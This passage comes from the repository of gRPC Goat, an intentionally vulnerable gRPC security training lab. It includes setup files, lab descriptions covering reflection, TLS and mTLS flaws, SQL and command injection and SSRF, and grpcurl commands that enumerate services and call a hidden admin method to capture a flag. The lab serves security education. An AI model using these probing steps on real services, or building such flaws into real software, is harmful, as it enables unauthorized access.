├── LICENSE ├── Labs.md ├── README.md ├── docker-compose.yaml ├── docs ├── getting-started.mdx ├── grpc-basics.mdx ├── grpc_goat_comp.webp ├── lab-vs-realworld-vulnerabilities.md ├── labs.mdx └── walkthrough.mdx ├── grpc_goat_comp.webp ├── labs ├── grpc-001-reflection-enabled │ ├── Dockerfile │ ├── Readme.md │ └── server │ │ ├── go.mod │ │ ├── main.go │ │ └── proto │ │ └── service_discovery.proto ├── grpc-002-plaintext-grpc │ ├── Dockerfile │ ├── Readme.md │ └── server │ │ ├── go.mod │ │ ├── main.go │ │ └── proto │ │ └── auth.proto ├── grpc-003-insecure-tls │ ├── Dockerfile │ ├── Readme.md │ └── server │ │ ├── go.mod │ │ ├── main.go │ │ └── proto │ │ └── billing.proto ├── grpc-004-arbitary-mtls │ ├── Dockerfile │ ├── Readme.md │ └── server │ │ ├── go.mod │ │ ├── main.go │ │ └── proto │ │ └── partner.proto ├── grpc-005-arbitary-mtls-withsubject │ ├── Dockerfile │ ├── Readme.md │ └── server │ │ ├── go.mod │ │ ├── main.go │ │ └── proto │ │ └── partner.proto ├── grpc-006-pipe-world-read-write │ ├── Dockerfile │ ├── Readme.md │ └── server │ │ ├── go.mod │ │ ├── main.go │ │ └── proto │ │ └── admin.proto ├── grpc-007-sql-injection │ ├── Dockerfile │ ├── Readme.md │ └── server │ │ ├── go.mod │ │ ├── main.go │ │ └── proto │ │ └── user_directory.proto ├── grpc-008-grpc-command-injection │ ├── Dockerfile │ ├── Readme.md │ └── server │ │ ├── go.mod │ │ ├── main.go │ │ └── proto │ │ └── file_processor.proto └── grpc-009-ssrf │ ├── Dockerfile │ ├── Readme.md │ └── server │ ├── go.mod │ ├── main.go │ └── proto │ └── image_preview.proto └── protos ├── README.md ├── lab-002-auth.proto ├── lab-003-billing.proto ├── lab-004-partner.proto ├── lab-005-partner-v2.proto ├── lab-006-admin.proto ├── lab-007-user-directory.proto ├── lab-008-file-processor.proto └── lab-009-image-preview.proto /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Jeya Seelan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Labs.md: -------------------------------------------------------------------------------- 1 | | # | Service Name | Business Purpose | Vulnerability | Risk / Impact | 2 | |---|--------------|------------------|---------------|---------------| 3 | | 001 | Service Discovery | Internal API registry for developers | Reflection enabled | Attackers can enumerate all gRPC services and hidden methods, discovering sensitive endpoints like admin functions | 4 | | 002 | Auth Service | Handles user login and session tokens | Plaintext gRPC | Credentials sent over plaintext can be intercepted and reused by attackers | 5 | | 003 | Billing Service | Processes customer payments | Insecure TLS | Self-signed TLS allows MITM attacks and interception/manipulation of transactions | 6 | | 004 | Partner API | Exposes partner integrations | Arbitrary mTLS | Accepts any client certificate, letting attackers impersonate trusted partners and access restricted APIs | 7 | | 005 | Partner API v2 | Enhanced partner integrations | mTLS Subject Validation | Validates subject name but accepts self-signed certificates, allowing certificate impersonation | 8 | | 006 | Admin Service | System administration functions | Unix Socket World Writable | Socket with world read/write permissions allows any user to access admin functions | 9 | | 007 | User Directory | Stores employee profiles and permissions | SQL Injection | Unsanitized database queries allow attackers to exfiltrate sensitive data (users, credentials, API keys) | 10 | | 008 | File Processor | Processes uploaded files for reports | Command Injection | Unsanitized input allows attackers to execute arbitrary system commands on the server | 11 | | 009 | Image Preview | Fetches thumbnails from external URLs | SSRF | Attackers can make the server request internal resources, potentially accessing metadata or internal endpoints | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # gRPC Goat 2 | 3 | gRPC Goat is a "Vulnerable by Design" lab created to provide an interactive, hands-on playground for learning and practicing gRPC security. 4 | 5 | Each lab contains a **CTF-style flag** that you can capture by successfully exploiting the vulnerability! 6 | 7 | ![alt text](grpc_goat_comp.webp) 8 | 9 | ## Quick Start 10 | 11 | ```bash 12 | # Clone the repository 13 | git clone https://github.com/rootxjs/grpc-goat.git 14 | cd grpc-goat 15 | 16 | # Start all vulnerable services 17 | docker compose up --build 18 | 19 | # Services will be available on localhost:8001-8009 20 | ``` 21 | 22 | ## Documentation 23 | 24 | For complete documentation, installation guides, and step-by-step walkthroughs, visit: 25 | 26 | **📖 [https://rootxjs.github.io/docs/grpc_goat_docs/getting-started/](https://rootxjs.github.io/docs/grpc_goat_docs/getting-started/)** 27 | 28 | The documentation includes: 29 | - **gRPC Basics** - Essential concepts and security fundamentals 30 | - **Labs Overview** - All 9 vulnerability scenarios with learning paths 31 | - **Installation Guide** - Detailed setup instructions and troubleshooting 32 | - **Walkthrough** - Step-by-step exploitation guides with code examples 33 | 34 | ## Labs Overview 35 | 36 | | Lab | Vulnerability | Port | 37 | |-----|---------------|------| 38 | | 001 | gRPC Reflection Enabled | 8001 | 39 | | 002 | Plaintext gRPC | 8002 | 40 | | 003 | Insecure TLS | 8003 | 41 | | 004 | Arbitrary mTLS | 8004 | 42 | | 005 | mTLS Subject Validation | 8005 | 43 | | 006 | Unix Socket World Writable | container | 44 | | 007 | SQL Injection | 8007 | 45 | | 008 | Command Injection | 8008 | 46 | | 009 | Server-Side Request Forgery | 8009 | 47 | 48 | ## Prerequisites 49 | 50 | - Docker and Docker Compose 51 | - grpcurl: `go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest` 52 | 53 | ## Proto Files 54 | 55 | For labs 002-009, you'll need the corresponding `.proto` files to interact with the services. All proto files are available in the `protos/` directory: 56 | 57 | ```bash 58 | # Example: Test Lab 002 with grpcurl 59 | grpcurl -plaintext -proto protos/lab-002-auth.proto \ 60 | -d '{"username": "admin", "password": "password"}' \ 61 | localhost:8002 auth.AuthService/Login 62 | ``` 63 | 64 | See `protos/README.md` for detailed usage instructions. 65 | 66 | ## Contributing 67 | 68 | Contributions are welcome! Please see the documentation website for contribution guidelines. 69 | 70 | ## License 71 | 72 | This project is licensed under the MIT License - see the LICENSE file for details. 73 | -------------------------------------------------------------------------------- /docker-compose.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | # Lab 001: gRPC Reflection Enabled 3 | grpc-001: 4 | build: 5 | context: ./labs/grpc-001-reflection-enabled 6 | dockerfile: Dockerfile 7 | ports: 8 | - "8001:8001" 9 | container_name: grpc-goat-001 10 | networks: 11 | - grpc-goat-network 12 | 13 | # Lab 002: Plaintext gRPC 14 | grpc-002: 15 | build: 16 | context: ./labs/grpc-002-plaintext-grpc 17 | dockerfile: Dockerfile 18 | ports: 19 | - "8002:8002" 20 | container_name: grpc-goat-002 21 | networks: 22 | - grpc-goat-network 23 | 24 | # Lab 003: Insecure TLS 25 | grpc-003: 26 | build: 27 | context: ./labs/grpc-003-insecure-tls 28 | dockerfile: Dockerfile 29 | ports: 30 | - "8003:8003" 31 | container_name: grpc-goat-003 32 | networks: 33 | - grpc-goat-network 34 | 35 | # Lab 004: Arbitrary mTLS 36 | grpc-004: 37 | build: 38 | context: ./labs/grpc-004-arbitary-mtls 39 | dockerfile: Dockerfile 40 | ports: 41 | - "8004:8004" 42 | container_name: grpc-goat-004 43 | networks: 44 | - grpc-goat-network 45 | 46 | # Lab 005: mTLS with Subject Validation 47 | grpc-005: 48 | build: 49 | context: ./labs/grpc-005-arbitary-mtls-withsubject 50 | dockerfile: Dockerfile 51 | ports: 52 | - "8005:8005" 53 | container_name: grpc-goat-005 54 | networks: 55 | - grpc-goat-network 56 | 57 | # Lab 006: Unix Socket World Writable 58 | grpc-006: 59 | build: 60 | context: ./labs/grpc-006-pipe-world-read-write 61 | dockerfile: Dockerfile 62 | container_name: grpc-goat-006 63 | volumes: 64 | - /tmp/grpc-goat-006:/tmp 65 | networks: 66 | - grpc-goat-network 67 | 68 | # Lab 007: SQL Injection 69 | grpc-007: 70 | build: 71 | context: ./labs/grpc-007-sql-injection 72 | dockerfile: Dockerfile 73 | ports: 74 | - "8007:8007" 75 | container_name: grpc-goat-007 76 | networks: 77 | - grpc-goat-network 78 | 79 | # Lab 008: Command Injection 80 | grpc-008: 81 | build: 82 | context: ./labs/grpc-008-grpc-command-injection 83 | dockerfile: Dockerfile 84 | ports: 85 | - "8008:8008" 86 | container_name: grpc-goat-008 87 | networks: 88 | - grpc-goat-network 89 | 90 | # Lab 009: SSRF 91 | grpc-009: 92 | build: 93 | context: ./labs/grpc-009-ssrf 94 | dockerfile: Dockerfile 95 | ports: 96 | - "8009:8009" 97 | container_name: grpc-goat-009 98 | networks: 99 | - grpc-goat-network 100 | 101 | networks: 102 | grpc-goat-network: 103 | driver: bridge -------------------------------------------------------------------------------- /docs/getting-started.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: 'Installation & Getting Started' 3 | description: 'Set up your gRPC Goat lab environment and run your first vulnerability test' 4 | order: 3 5 | --- 6 | 7 | import { Aside } from 'astro-pure/user' 8 | 9 | # Installation & Getting Started 10 | 11 | Welcome to gRPC Goat! This guide will help you set up your lab environment and run your first vulnerability test. 12 | 13 | 16 | 17 | ![alt text](grpc_goat_comp.webp) 18 | 19 | ## Prerequisites 20 | 21 | Before you begin, ensure you have the following tools installed on your system: 22 | 23 | ### Required Tools 24 | 25 | 1. **Docker & Docker Compose** 26 | - Docker Engine 20.10+ or Docker Desktop 27 | - Docker Compose V2 (comes with Docker Desktop) 28 | - [Download Docker](https://docs.docker.com/get-docker/) 29 | 30 | 2. **grpcurl** (for testing gRPC services) 31 | ```bash 32 | # Install via Go 33 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest 34 | 35 | # Or via Homebrew (macOS) 36 | brew install grpcurl 37 | 38 | # Or via package manager (Ubuntu/Debian) 39 | sudo apt-get install grpcurl 40 | 41 | # Or download binary from GitHub releases 42 | # https://github.com/fullstorydev/grpcurl/releases 43 | ``` 44 | 45 | 3. **Protocol Buffer Files** (for labs 002-009) 46 | - All required `.proto` files are provided in the `protos/` directory 47 | - Lab 001 uses gRPC reflection, so no proto file is needed 48 | - See `protos/README.md` for usage instructions 49 | 50 | ### Additional gRPC Testing Tools 51 | 52 | **Command Line Tools:** 53 | - **grpcurl** - Command-line tool for interacting with gRPC services 54 | - **ghz** - gRPC benchmarking and load testing tool 55 | - **evans** - Interactive gRPC client with REPL interface 56 | 57 | **GUI Applications:** 58 | - **Postman** - Popular API client with gRPC support (v8.5.0+) 59 | - **BloomRPC** - Cross-platform gRPC client with GUI interface 60 | - **Kreya** - Modern gRPC and REST API client 61 | - **Insomnia** - API client with gRPC support 62 | 63 | ### Optional Tools 64 | 65 | - **Go 1.21+** (if you want to build from source) 66 | - **Git** (for cloning the repository) 67 | 68 | ## Installation 69 | 70 | ### Option 1: Clone from GitHub (Recommended) 71 | 72 | ```bash 73 | # Clone the repository 74 | git clone https://github.com/rootxjs/grpc-goat.git 75 | cd grpc-goat 76 | 77 | # Verify the setup 78 | ls labs/ # Should show 9 lab directories 79 | ``` 80 | 81 | ### Option 2: Download Release 82 | 83 | Download the latest release from the [GitHub releases page](https://github.com/rootxjs/grpc-goat/releases) and extract it. 84 | 85 | ## Quick Commands 86 | 87 | ### Start All Labs at Once 88 | 89 | ```bash 90 | # Start all 9 vulnerable services 91 | docker compose up --build 92 | 93 | # Run in background (detached mode) 94 | docker compose up --build -d 95 | 96 | # View logs 97 | docker compose logs -f 98 | ``` 99 | 100 | ### Start Individual Labs 101 | 102 | ```bash 103 | # Example: Start only Lab 001 (gRPC Reflection) 104 | cd labs/grpc-001-reflection-enabled 105 | docker build -t grpc-001 . 106 | docker run -p 8001:8001 grpc-001 107 | ``` 108 | 109 | ## Service Endpoints 110 | 111 | Once running, the labs will be available on the following ports: 112 | 113 | | Lab | Service | Port | Description | 114 | |-----|---------|------|-------------| 115 | | **001** | Service Discovery | `localhost:8001` | gRPC Reflection vulnerability | 116 | | **002** | Auth Service | `localhost:8002` | Plaintext gRPC communications | 117 | | **003** | Billing Service | `localhost:8003` | Insecure TLS implementation | 118 | | **004** | Partner API | `localhost:8004` | Arbitrary mTLS acceptance | 119 | | **005** | Partner API v2 | `localhost:8005` | mTLS with subject validation bypass | 120 | | **006** | Admin Service | `grpc-006 container` | Unix socket with world permissions | 121 | | **007** | User Directory | `localhost:8007` | SQL injection vulnerability | 122 | | **008** | File Processor | `localhost:8008` | Command injection vulnerability | 123 | | **009** | Image Preview | `localhost:8009` | Server-Side Request Forgery (SSRF) | 124 | 125 | ## Your First Lab: Lab 001 - gRPC Reflection 126 | 127 | Let's walk through your first vulnerability test to ensure everything is working correctly. 128 | 129 | ### Step 1: Start Lab 001 130 | 131 | ```bash 132 | # Start Lab 001 specifically 133 | docker compose up grpc-001 --build 134 | ``` 135 | 136 | Wait for the message: `gRPC server listening on :8001` 137 | 138 | ### Step 2: Test the Service 139 | 140 | ```bash 141 | # Discover available services (this is the vulnerability!) 142 | grpcurl -plaintext localhost:8001 list 143 | 144 | # Expected output: 145 | # grpc.reflection.v1alpha.ServerReflection 146 | # servicediscovery.ServiceDiscovery 147 | ``` 148 | 149 | ### Step 3: Exploit the Vulnerability 150 | 151 | ```bash 152 | # List methods in the service 153 | grpcurl -plaintext localhost:8001 list servicediscovery.ServiceDiscovery 154 | 155 | # Expected output: 156 | # servicediscovery.ServiceDiscovery.AdminListAllServices 157 | # servicediscovery.ServiceDiscovery.ListServices 158 | ``` 159 | 160 | ### Step 4: Capture Your First Flag 161 | 162 | ```bash 163 | # Call the hidden admin method 164 | grpcurl -plaintext -d '{"admin_token": "fake"}' \ 165 | localhost:8001 servicediscovery.ServiceDiscovery/AdminListAllServices 166 | ``` 167 | 168 | **Congratulations!** You should see a response containing your first flag: `GRPC_GOAT{reflection_enabled_service_discovery}` 169 | 170 | ## Testing Other Labs 171 | 172 | For labs 002-009, you'll need to use the corresponding proto files from the `protos/` directory: 173 | 174 | ```bash 175 | # Example: Lab 002 - Auth Service 176 | grpcurl -plaintext -proto protos/lab-002-auth.proto \ 177 | -d '{"username": "admin", "password": "password"}' \ 178 | localhost:8002 auth.AuthService/Login 179 | 180 | # Example: Lab 007 - SQL Injection 181 | grpcurl -plaintext -proto protos/lab-007-user-directory.proto \ 182 | -d '{"username": "admin"}' \ 183 | localhost:8007 userdirectory.UserDirectory/SearchUsers 184 | ``` 185 | 186 | 189 | 190 | ## Next Steps 191 | 192 | Now that you have your environment set up and have captured your first flag: 193 | 194 | 1. **Learn gRPC Fundamentals**: If you're new to gRPC, check out the [gRPC Basics](/docs/grpc_goat_docs/grpc-basics) guide 195 | 2. **Explore More Labs**: Check out the [Labs Overview](/docs/grpc_goat_docs/labs) to see all 9 vulnerabilities 196 | 3. **Follow the Walkthrough**: Use the [Walkthrough Guide](/docs/grpc_goat_docs/walkthrough) for step-by-step exploitation instructions 197 | 4. **Learn the Mitigations**: Each lab includes security best practices to prevent these vulnerabilities 198 | 5. **Practice with Different Tools**: Try using Postman, BloomRPC, or other gRPC clients to interact with the services 199 | 200 | 203 | 204 | Ready to dive deeper? Head to the [Walkthrough Guide](/docs/grpc_goat_docs/walkthrough) to learn how to exploit all 9 vulnerabilities! 205 | -------------------------------------------------------------------------------- /docs/grpc-basics.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: 'gRPC Basics' 3 | description: 'Essential gRPC concepts, security fundamentals, and learning resources' 4 | order: 1 5 | --- 6 | 7 | import { Aside } from 'astro-pure/user' 8 | 9 | # gRPC Basics 10 | 11 | This guide covers the fundamental concepts of gRPC that you need to understand before diving into the security labs. Whether you're new to gRPC or need a refresher, this section will provide the foundation for understanding the vulnerabilities demonstrated in gRPC Goat. 12 | 13 | ## What is gRPC? 14 | 15 | gRPC (gRPC Remote Procedure Calls) is a modern, open-source, high-performance RPC framework developed by Google. It uses HTTP/2 for transport, Protocol Buffers as the interface description language, and provides features like authentication, bidirectional streaming, flow control, blocking or nonblocking bindings, and cancellation and timeouts. 16 | 17 | ### Key Advantages 18 | 19 | - **High Performance**: Built on HTTP/2 with binary serialization 20 | - **Language Agnostic**: Supports multiple programming languages 21 | - **Streaming Support**: Bidirectional streaming capabilities 22 | - **Strong Typing**: Protocol Buffers provide type safety 23 | - **Built-in Security**: Native TLS support and authentication mechanisms 24 | 25 | ## Core Concepts 26 | 27 | ### Protocol Buffers (protobuf) 28 | 29 | Protocol Buffers are a language-neutral, platform-neutral extensible mechanism for serializing structured data. They define service contracts and message formats, and generate client and server code in multiple languages. 30 | 31 | **Example Service Definition:** 32 | ```protobuf 33 | syntax = "proto3"; 34 | 35 | package userservice; 36 | 37 | service UserService { 38 | rpc GetUser(GetUserRequest) returns (GetUserResponse); 39 | rpc ListUsers(ListUsersRequest) returns (stream User); 40 | rpc CreateUser(CreateUserRequest) returns (CreateUserResponse); 41 | } 42 | 43 | message GetUserRequest { 44 | string user_id = 1; 45 | } 46 | 47 | message GetUserResponse { 48 | User user = 1; 49 | bool success = 2; 50 | string message = 3; 51 | } 52 | 53 | message User { 54 | string id = 1; 55 | string name = 2; 56 | string email = 3; 57 | repeated string roles = 4; 58 | } 59 | ``` 60 | 61 | ### Communication Patterns 62 | 63 | gRPC supports four types of service methods: 64 | 65 | **Unary RPC** 66 | - Single request, single response 67 | - Most common pattern, similar to HTTP REST calls 68 | ```protobuf 69 | rpc GetUser(GetUserRequest) returns (GetUserResponse); 70 | ``` 71 | 72 | **Server Streaming** 73 | - Single request, stream of responses 74 | - Useful for real-time data feeds 75 | ```protobuf 76 | rpc ListUsers(ListUsersRequest) returns (stream User); 77 | ``` 78 | 79 | **Client Streaming** 80 | - Stream of requests, single response 81 | - Useful for uploading data or batch operations 82 | ```protobuf 83 | rpc CreateUsers(stream CreateUserRequest) returns (CreateUsersResponse); 84 | ``` 85 | 86 | **Bidirectional Streaming** 87 | - Stream of requests and responses 88 | - Enables real-time communication 89 | ```protobuf 90 | rpc ChatStream(stream ChatMessage) returns (stream ChatMessage); 91 | ``` 92 | 93 | ## Security Fundamentals 94 | 95 | Understanding gRPC security is crucial for both attacking and defending gRPC services. Here are the key security concepts: 96 | 97 | ### Transport Security 98 | 99 | **TLS/SSL Encryption** 100 | - Encrypts data in transit between client and server 101 | - Prevents eavesdropping and tampering 102 | - Should always be enabled in production 103 | 104 | **Mutual TLS (mTLS)** 105 | - Both client and server authenticate each other using certificates 106 | - Provides strong authentication for service-to-service communication 107 | - Requires proper certificate management 108 | 109 | ### Authentication Methods 110 | 111 | **Token-based Authentication** 112 | - JWT (JSON Web Tokens) 113 | - OAuth2 access tokens 114 | - API keys in metadata 115 | 116 | **Certificate-based Authentication** 117 | - Client certificates for mTLS 118 | - Certificate validation and trust chains 119 | - Certificate revocation handling 120 | 121 | ### Authorization 122 | 123 | **Role-based Access Control (RBAC)** 124 | - Define roles and permissions 125 | - Validate user roles before processing requests 126 | - Implement fine-grained access controls 127 | 128 | **Method-level Authorization** 129 | - Different permissions for different gRPC methods 130 | - Context-aware authorization decisions 131 | - Audit logging for access attempts 132 | 133 | ## Common Security Vulnerabilities 134 | 135 | The gRPC Goat labs demonstrate these common security issues: 136 | 137 | ### Configuration Issues 138 | - **gRPC Reflection Enabled**: Exposes service definitions in production 139 | - **Insecure TLS**: Self-signed certificates or weak configurations 140 | - **Improper mTLS**: Accepting any client certificate 141 | 142 | ### Authentication Bypasses 143 | - **Plaintext Communications**: No encryption for sensitive data 144 | - **Weak Certificate Validation**: Insufficient certificate checks 145 | - **Missing Authentication**: Unprotected admin endpoints 146 | 147 | ### Input Validation Failures 148 | - **SQL Injection**: Unsanitized database queries 149 | - **Command Injection**: Unsafe system command execution 150 | - **SSRF**: Unvalidated URL requests 151 | 152 | ### Infrastructure Misconfigurations 153 | - **Unix Socket Permissions**: World-writable sockets 154 | - **Network Exposure**: Services accessible from unintended networks 155 | 156 | ## Testing Tools 157 | 158 | ### Command Line Tools 159 | 160 | **grpcurl** 161 | - Command-line tool for interacting with gRPC services 162 | - Supports reflection, metadata, and various authentication methods 163 | ```bash 164 | # List services 165 | grpcurl -plaintext localhost:8080 list 166 | 167 | # Call a method 168 | grpcurl -plaintext -d '{"name": "John"}' localhost:8080 userservice.UserService/GetUser 169 | ``` 170 | 171 | **ghz** 172 | - gRPC benchmarking and load testing tool 173 | - Useful for performance testing and stress testing 174 | ```bash 175 | # Load test a service 176 | ghz --insecure --proto user.proto --call userservice.UserService.GetUser \ 177 | -d '{"user_id": "123"}' localhost:8080 178 | ``` 179 | 180 | **evans** 181 | - Interactive gRPC client with REPL interface 182 | - Great for exploring services and testing during development 183 | ```bash 184 | # Start interactive session 185 | evans --host localhost --port 8080 --reflection 186 | ``` 187 | 188 | ### GUI Applications 189 | 190 | **Postman** 191 | - Popular API client with gRPC support (v8.5.0+) 192 | - Visual interface for building and testing requests 193 | - Collection management and team collaboration 194 | 195 | **BloomRPC** 196 | - Cross-platform gRPC client with GUI interface 197 | - Simple and intuitive interface for gRPC testing 198 | - Supports reflection and custom metadata 199 | 200 | **Kreya** 201 | - Modern gRPC and REST API client 202 | - Advanced features for API testing and debugging 203 | - Environment management and scripting support 204 | 205 | **Insomnia** 206 | - API client with gRPC support 207 | - Plugin ecosystem and team features 208 | - GraphQL and REST support alongside gRPC 209 | 210 | ## Learning Resources 211 | 212 | ### Official Documentation 213 | - [gRPC Official Website](https://grpc.io/) 214 | - [gRPC Documentation](https://grpc.io/docs/) 215 | - [Protocol Buffers Guide](https://developers.google.com/protocol-buffers) 216 | - [gRPC Security Guide](https://grpc.io/docs/guides/security/) 217 | 218 | ### Security Resources 219 | - [gRPC Authentication](https://grpc.io/docs/guides/auth/) 220 | - [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) 221 | - [gRPC Security Best Practices](https://grpc.io/docs/guides/security/) 222 | 223 | ### Language-Specific Guides 224 | - [gRPC Go Tutorial](https://grpc.io/docs/languages/go/quickstart/) 225 | - [gRPC Python Tutorial](https://grpc.io/docs/languages/python/quickstart/) 226 | - [gRPC Java Tutorial](https://grpc.io/docs/languages/java/quickstart/) 227 | - [gRPC Node.js Tutorial](https://grpc.io/docs/languages/node/quickstart/) 228 | - [gRPC C# Tutorial](https://grpc.io/docs/languages/csharp/quickstart/) 229 | 230 | ### Community Resources 231 | - [gRPC GitHub Repository](https://github.com/grpc/grpc) 232 | - [gRPC Community](https://grpc.io/community/) 233 | - [Awesome gRPC](https://github.com/grpc-ecosystem/awesome-grpc) 234 | 235 | 238 | 239 | Ready to start learning about gRPC security? Head to the [Labs Overview](/docs/grpc_goat_docs/labs) to see all available vulnerability scenarios! 240 | -------------------------------------------------------------------------------- /docs/grpc_goat_comp.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rootxjs/grpc-goat/4aefc57e9df44d75fb92c0f8a2537b54213c51b7/docs/grpc_goat_comp.webp -------------------------------------------------------------------------------- /docs/lab-vs-realworld-vulnerabilities.md: -------------------------------------------------------------------------------- 1 | # Lab Exploitation vs. Real-World Vulnerabilities 2 | 3 | ## Overview 4 | 5 | This document addresses the important distinction between the simplified exploitation techniques used in gRPC Goat labs and the broader security implications of these vulnerabilities in real-world environments. 6 | 7 | ## The Discrepancy Explained 8 | 9 | ### What You Observed 10 | 11 | The walkthrough mentions sophisticated attack vectors (network sniffing, MITM attacks, certificate impersonation) but the actual lab exploits are more straightforward: 12 | 13 | - **Lab 002**: Uses `-plaintext` flag instead of demonstrating network traffic interception 14 | - **Lab 003**: Uses `-insecure` flag instead of performing actual MITM attacks 15 | - **Lab 004/005**: Creates self-signed certificates instead of demonstrating real partner impersonation 16 | 17 | ### Why This Approach Was Chosen 18 | 19 | 1. **Educational Focus**: Labs prioritize learning gRPC-specific vulnerabilities over complex network attacks 20 | 2. **Accessibility**: Students can complete labs without advanced networking knowledge or complex setups 21 | 3. **Time Efficiency**: Direct exploitation teaches core concepts faster 22 | 4. **Environment Constraints**: Setting up realistic MITM scenarios requires complex network configurations 23 | 24 | ## Lab vs. Real-World Impact Matrix 25 | 26 | | Lab | Lab Technique | Real-World Exploitation | Additional Risks | 27 | |-----|---------------|------------------------|------------------| 28 | | **002 - Plaintext** | Direct connection with `-plaintext` | Network packet capture, traffic analysis | Credential harvesting, session hijacking | 29 | | **003 - Insecure TLS** | Bypass validation with `-insecure` | Certificate spoofing, MITM proxy | Payment data theft, compliance violations | 30 | | **004 - Arbitrary mTLS** | Self-signed client cert | Partner credential theft, API impersonation | Supply chain attacks, data exfiltration | 31 | | **005 - Subject Validation** | Matching subject in fake cert | Advanced certificate forgery | Long-term persistent access | 32 | 33 | ## Enhanced Learning Suggestions 34 | 35 | ### For Instructors 36 | 37 | 1. **Add Real-World Context Sections**: Include explanations of how each vulnerability would be exploited in production 38 | 2. **Advanced Lab Variants**: Create optional advanced versions that demonstrate network-level attacks 39 | 3. **Threat Modeling Exercises**: Have students map lab vulnerabilities to real attack scenarios 40 | 41 | ### For Students 42 | 43 | 1. **Practice Network Analysis**: Use Wireshark to capture traffic during lab exercises 44 | 2. **Set Up MITM Scenarios**: Practice with tools like mitmproxy for TLS interception 45 | 3. **Study Attack Frameworks**: Learn how these vulnerabilities fit into frameworks like MITRE ATT&CK 46 | 47 | ### For Lab Environment 48 | 49 | 1. **Network Monitoring Labs**: Add optional exercises using tcpdump/Wireshark 50 | 2. **Certificate Authority Labs**: Demonstrate proper CA validation vs. self-signed certificates 51 | 3. **Production Simulation**: Create labs that simulate production network environments 52 | 53 | ## Recommended Documentation Improvements 54 | 55 | ### 1. Add "Real-World Impact" Sections 56 | 57 | For each lab, include a section explaining: 58 | - How the vulnerability would be exploited in production 59 | - What additional tools/techniques attackers would use 60 | - The broader business impact beyond the technical exploit 61 | 62 | ### 2. Create Attack Scenario Narratives 63 | 64 | Develop realistic attack scenarios that show: 65 | - Initial reconnaissance and discovery 66 | - Exploitation chain combining multiple vulnerabilities 67 | - Post-exploitation activities and persistence 68 | 69 | ### 3. Include Defense Perspectives 70 | 71 | Add sections covering: 72 | - How security teams would detect these attacks 73 | - Monitoring and alerting strategies 74 | - Incident response procedures 75 | 76 | ## Conclusion 77 | 78 | The current lab approach effectively teaches gRPC security fundamentals while remaining accessible to learners. The discrepancy between lab techniques and real-world attacks is intentional and pedagogically sound. However, adding context about real-world implications would enhance the educational value without compromising accessibility. 79 | 80 | The key is helping students understand that while they're using simplified exploitation techniques in the labs, the underlying vulnerabilities enable much more sophisticated attacks in production environments. 81 | -------------------------------------------------------------------------------- /docs/labs.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: 'Labs Overview' 3 | description: 'Comprehensive gRPC security vulnerabilities and attack scenarios' 4 | order: 2 5 | --- 6 | 7 | import { Aside } from 'astro-pure/user' 8 | 9 | # gRPC Goat Labs 10 | 11 | Welcome to the gRPC Goat vulnerability labs! Each lab demonstrates a specific security vulnerability commonly found in real-world gRPC applications. These hands-on exercises will help you understand both how to exploit these vulnerabilities and how to defend against them. 12 | 13 | 16 | 17 | ![alt text](grpc_goat_comp.webp) 18 | 19 | ## Vulnerability Overview 20 | 21 | The following table provides an overview of all available labs, their business context, and the security risks they demonstrate: 22 | 23 | | Lab | Service Name | Business Purpose | Vulnerability | Risk / Impact | 24 | |-----|--------------|------------------|---------------|---------------| 25 | | **001** | **Service Discovery** | Internal API registry for developers | **Reflection Enabled** | Attackers can enumerate all gRPC services and hidden methods, discovering sensitive endpoints like admin functions | 26 | | **002** | **Auth Service** | Handles user login and session tokens | **Plaintext gRPC** | Credentials sent over plaintext can be intercepted and reused by attackers | 27 | | **003** | **Billing Service** | Processes customer payments | **Insecure TLS** | Self-signed TLS allows MITM attacks and interception/manipulation of transactions | 28 | | **004** | **Partner API** | Exposes partner integrations | **Arbitrary mTLS** | Accepts any client certificate, letting attackers impersonate trusted partners and access restricted APIs | 29 | | **005** | **Partner API v2** | Enhanced partner integrations | **mTLS Subject Validation** | Validates subject name but accepts self-signed certificates, allowing certificate impersonation | 30 | | **006** | **Admin Service** | System administration functions | **Unix Socket World Writable** | Socket with world read/write permissions allows any user to access admin functions | 31 | | **007** | **User Directory** | Stores employee profiles and permissions | **SQL Injection** | Unsanitized database queries allow attackers to exfiltrate sensitive data (users, credentials, API keys) | 32 | | **008** | **File Processor** | Processes uploaded files for reports | **Command Injection** | Unsanitized input allows attackers to execute arbitrary system commands on the server | 33 | | **009** | **Image Preview** | Fetches thumbnails from external URLs | **SSRF** | Attackers can make the server request internal resources, potentially accessing metadata or internal endpoints | 34 | 35 | ## Lab Categories 36 | 37 | ### Discovery & Enumeration 38 | - **Lab 001**: Service Discovery - Learn how gRPC reflection can expose your entire API surface 39 | 40 | ### Authentication & Authorization 41 | - **Lab 002**: Auth Service - Understand the risks of plaintext gRPC communications 42 | - **Lab 004**: Partner API - Explore mTLS misconfigurations 43 | - **Lab 005**: Partner API v2 - Advanced certificate validation bypasses 44 | 45 | ### Transport Security 46 | - **Lab 